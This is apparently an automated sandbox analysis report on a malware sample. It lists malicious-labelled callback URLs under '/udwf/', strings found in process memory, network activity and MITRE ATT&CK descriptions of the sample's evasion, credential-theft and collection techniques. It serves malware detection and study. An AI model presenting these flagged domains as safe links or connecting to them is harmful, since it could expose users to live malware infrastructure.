Source: http://www.xn--4gq62f8w1alm9b.xyz/udwf/?G0Yxd2Q=4SYFJ+EdcnLhstYHjaYhZ0Xyh2Kg3P6YikQFgY7zApk8SZ1uWGpR3AVqWe4c3udQDum1CidNNnqrfkhOX4sOdDO6VZG27ug9uQ==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: http://www.diabloseugene.com/udwf/?G0Yxd2Q=Z6xauRs66pTCKL+KzoyNUFozWOf0JDAANa247hz++z0llrRDJuB/QadTAD9i3swhMbuTmmXjFgWivfbmORZNoncA7F7QHJ1+AA==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: http://www.spark-tech-global.xyz/udwf/?G0Yxd2Q=pfKu+pVNsln4G6X0TIcdarC36EKmJps8u6QQpqwTd4K74JvWDy/kIYo7R3ufamPFtUrh+tiM68Q084b5gYWBh8dmFEHsBv37jg==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: https://littlehappiez.com/udwf?G0Yxd2Q=d3XFPJoaQLbhU6h03	Avira URL Cloud: Label: malware
Source: http://www.tutorwave.online/udwf/	Avira URL Cloud: Label: malware
Source: http://www.xn--4gq62f8w1alm9b.xyz/udwf/	Avira URL Cloud: Label: malware
Source: http://www.bellcom.media/udwf/?G0Yxd2Q=/fHzvDGB04J+q8b6XJE1xYe30bxweLJnilom5C96GpM+NoY5L9yFqNs9P5GPx0eLkQDxLFeKj8P05w7qGZ9X0/BmwspDAeolpA==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: http://www.diabloseugene.com/udwf/	Avira URL Cloud: Label: malware
Source: http://www.bellcom.media/udwf/	Avira URL Cloud: Label: malware
Source: http://www.spark-tech-global.xyz/udwf/	Avira URL Cloud: Label: malware
Source: http://www.otternaut.live/udwf/	Avira URL Cloud: Label: malware

Source: C:\Windows\SysWOW64\fontview.exe	Code function: 4x nop then pop edi	12_2_02A41AC0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 4x nop then xor eax, eax	12_2_02A399B0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 4x nop then pop edi	12_2_02A3E36F
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 4x nop then pop edi	12_2_02A41ABF

Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://domshow.vhostgo.com/template/img/paimai/banner_jiaoyi.jpg)
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://domshow.vhostgo.com/template/img/paimai/jiaoyixq_jiaoyi.jpg)
Source: fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://img.sedoparking.com
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3737944932.000000000505E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.westcoastmedia.marketing
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3737944932.000000000505E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.westcoastmedia.marketing/udwf/
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?352bf0fb165ca7ab634d3cea879c7a72
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.369a663b08a55d305b97.js
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.442d968fe56a55df4c76.css
Source: fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.sedoparking.com/templates/bg/NameSiloLogo.png
Source: fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.sedoparking.com/templates/images/hero_nc.svg
Source: fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: fontview.exe, 0000000C.00000002.3736597685.00000000052F8000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003248000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://littlehappiez.com/udwf?G0Yxd2Q=d3XFPJoaQLbhU6h03
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: fontview.exe, 0000000C.00000002.3733416579.0000000002BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: fontview.exe, 0000000C.00000003.1524162688.00000000075C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://track.uc.cn/collect
Source: fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fontview.exe, 0000000C.00000002.3736597685.00000000057AE000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000036FE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=autokit.help
Source: fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=otternaut.live
Source: fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=westcoastmedia.marketing
Source: fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com
Source: fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com/domain/search-domains?query=bellcom.media
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.sedo.com/services/parking.php3
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/cloudhost/
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/jiaoyi/
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/services/domain/
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/services/mail/
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/services/webhosting/
Source: fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/ykj/view.asp?domain=633922.com

Source:	DNS query: www.spark-tech-global.xyz
Source:	DNS query: www.xn--4gq62f8w1alm9b.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
